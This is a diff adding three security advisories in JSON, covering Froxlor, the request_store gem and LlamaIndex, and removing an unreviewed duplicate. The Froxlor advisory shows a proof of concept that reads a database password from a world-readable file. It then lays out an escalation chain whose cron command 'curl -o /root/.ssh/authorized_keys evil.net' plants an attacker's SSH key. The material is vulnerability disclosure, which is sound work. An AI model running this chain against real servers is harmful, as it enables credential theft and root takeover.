diff --git a/advisories/github-reviewed/2024/08/GHSA-34qg-65m4-f23m/GHSA-34qg-65m4-f23m.json b/advisories/github-reviewed/2024/08/GHSA-34qg-65m4-f23m/GHSA-34qg-65m4-f23m.json new file mode 100644 index 00000000000..fbe8251a7fd --- /dev/null +++ b/advisories/github-reviewed/2024/08/GHSA-34qg-65m4-f23m/GHSA-34qg-65m4-f23m.json @@ -0,0 +1,72 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-34qg-65m4-f23m", + "modified": "2024-08-23T18:54:31Z", + "published": "2024-08-23T18:54:30Z", + "aliases": [ + + ], + "summary": "Froxlor: /etc/pure-ftpd/db/mysql.conf is chmod 644 but contains ", + "details": "### Summary\nIn Froxlor 2.1.9 and in the HEADs of the `main`, `v2.2` and `v2.1` branches , the XML templates in `lib/configfiles/` set `chmod 644` for `/etc/pure-ftpd/db/mysql.conf`, although that file contains ``. At least on Debian 12, all parent directories of `/etc/pure-ftpd/db/mysql.conf` are world readable by default, thus exposing these credentials to all users with access to the system. Only Froxlor instances configured to use pure-ftpd are affected/vulnerable.\n\n### Details\nhttps://github.com/froxlor/Froxlor/blob/2.1.9/lib/configfiles/bookworm.xml#L3075\n\n### PoC\nAs non-privileged user:\n```\nnobody@mail:/tmp$ grep MYSQLPassword /etc/pure-ftpd/db/mysql.conf\nMYSQLPassword MySecretMySQLPasswordForFroxlor\n```\n\n\n### Impact\nAny unprivileged user with \"command/code execution\" access to the system can trivially obtain the credentials granting access to the `froxlor` MySQL database. This holds true even for virtual users without SSH access as long as they are able to upload their own PHP scripts or other CGIs, and works even if the admin has setup a separate php-fpm pool that runs as their own user.\n\nSide note: This access to the database can be leveraged to obtain Froxlor admin privileges, and subsequently root privileges. For example:\n1. Use the database credentials to extract or change a Froxlor admin's password hash and TOTP seed value.\n2. Log into Froxlor as that admin.\n3. Set the `Cron-daemon reload command` in `/admin_settings.php?page=overview&part=crond` to something like `curl -o /root/.ssh/authorized_keys evil.net`.\n4. Wait a few minutes until the relevant cronjob runs, then log in via SSH.\n\n\nPlease consider using passwordless unix socket authentication. Current versions of MySQL, MariaDB and Percona allow completely removing/omitting database passwords for database connections going through a unix socket, this works even for use cases where the database user has a different name than the system account running the database client:\nhttps://dev.mysql.com/doc/refman/5.7/en/socket-pluggable-authentication.html", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "froxlor/froxlor" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.2.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 2.2.0-rc3" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/froxlor/Froxlor/security/advisories/GHSA-34qg-65m4-f23m" + }, + { + "type": "WEB", + "url": "https://github.com/froxlor/Froxlor/commit/5d2ce4ecfb0e9c397ef5c73b107fb9a0e122e910" + }, + { + "type": "PACKAGE", + "url": "https://github.com/froxlor/Froxlor" + }, + { + "type": "WEB", + "url": "https://github.com/froxlor/Froxlor/blob/2.1.9/lib/configfiles/bookworm.xml#L3075" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-732" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-08-23T18:54:30Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/08/GHSA-frp2-5qfc-7r8m/GHSA-frp2-5qfc-7r8m.json b/advisories/github-reviewed/2024/08/GHSA-frp2-5qfc-7r8m/GHSA-frp2-5qfc-7r8m.json new file mode 100644 index 00000000000..df232dd1169 --- /dev/null +++ b/advisories/github-reviewed/2024/08/GHSA-frp2-5qfc-7r8m/GHSA-frp2-5qfc-7r8m.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-frp2-5qfc-7r8m", + "modified": "2024-08-23T18:54:26Z", + "published": "2024-08-23T18:54:26Z", + "aliases": [ + "CVE-2024-43791" + ], + "summary": "request_store has Incorrect Default Permissions", + "details": "### Impact\n\nThe files published as part of request_store 1.3.2 have 0666 permissions, meaning that they are world-writable, which allows local users to execute arbitrary code.\n\nThis version was published in 2017, and most production environments do not allow access for local users, so the chances of this being exploited are very low, given that the vast majority of users will have upgraded, and those that have not, if any, are not likely to be exposed.\n\n### Patches\n\nI am not aware of any other version of the gem with incorrect permissions, so simply upgrading should fix the issue.\n\n### Workarounds\n\nYou could chmod the files yourself, I guess.\n\n### References\n\nhttps://cwe.mitre.org/data/definitions/276.html", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U" + } + ], + "affected": [ + { + "package": { + "ecosystem": "RubyGems", + "name": "request_store" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.3.2" + }, + { + "fixed": "1.4.0" + } + ] + } + ], + "versions": [ + "1.3.2" + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/steveklabnik/request_store/security/advisories/GHSA-frp2-5qfc-7r8m" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43791" + }, + { + "type": "PACKAGE", + "url": "https://github.com/steveklabnik/request_store" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-276" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-08-23T18:54:26Z", + "nvd_published_at": "2024-08-23T15:15:16Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/08/GHSA-fxc2-8m62-m85x/GHSA-fxc2-8m62-m85x.json b/advisories/github-reviewed/2024/08/GHSA-fxc2-8m62-m85x/GHSA-fxc2-8m62-m85x.json new file mode 100644 index 00000000000..1aea0676d75 --- /dev/null +++ b/advisories/github-reviewed/2024/08/GHSA-fxc2-8m62-m85x/GHSA-fxc2-8m62-m85x.json @@ -0,0 +1,73 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-fxc2-8m62-m85x", + "modified": "2024-08-23T18:54:20Z", + "published": "2024-08-22T21:31:29Z", + "aliases": [ + "CVE-2024-45201" + ], + "summary": "LlamaIndex includes an exec call for `import {cls_name}`", + "details": "An issue was discovered in llama_index before 0.10.38. `download/integration.py` includes an exec call for `import {cls_name}`.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "llama-index-core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.10.38" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45201" + }, + { + "type": "WEB", + "url": "https://github.com/run-llama/llama_index/pull/13523" + }, + { + "type": "WEB", + "url": "https://github.com/run-llama/llama_index/commit/bd827c30484fa085ec769fa55dc7f2add8006ac8" + }, + { + "type": "PACKAGE", + "url": "https://github.com/run-llama/llama_index" + }, + { + "type": "WEB", + "url": "https://github.com/run-llama/llama_index/compare/v0.10.37...v0.10.38" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-94" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2024-08-23T18:54:20Z", + "nvd_published_at": "2024-08-22T20:15:10Z" + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2024/08/GHSA-fxc2-8m62-m85x/GHSA-fxc2-8m62-m85x.json b/advisories/unreviewed/2024/08/GHSA-fxc2-8m62-m85x/GHSA-fxc2-8m62-m85x.json deleted file mode 100644 index 8fd4ca4f8a2..00000000000 --- a/advisories/unreviewed/2024/08/GHSA-fxc2-8m62-m85x/GHSA-fxc2-8m62-m85x.json +++ /dev/null @@ -1,39 +0,0 @@ -{ - "schema_version": "1.4.0", - "id": "GHSA-fxc2-8m62-m85x", - "modified": "2024-08-22T21:31:29Z", - "published": "2024-08-22T21:31:29Z", - "aliases": [ - "CVE-2024-45201" - ], - "details": "An issue was discovered in llama_index before 0.10.38. download/integration.py includes an exec call for import {cls_name}.", - "severity": [ - - ], - "affected": [ - - ], - "references": [ - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45201" - }, - { - "type": "WEB", - "url": "https://github.com/run-llama/llama_index/pull/13523" - }, - { - "type": "WEB", - "url": "https://github.com/run-llama/llama_index/compare/v0.10.37...v0.10.38" - } - ], - "database_specific": { - "cwe_ids": [ - - ], - "severity": null, - "github_reviewed": false, - "github_reviewed_at": null, - "nvd_published_at": "2024-08-22T20:15:10Z" - } -} \ No newline at end of file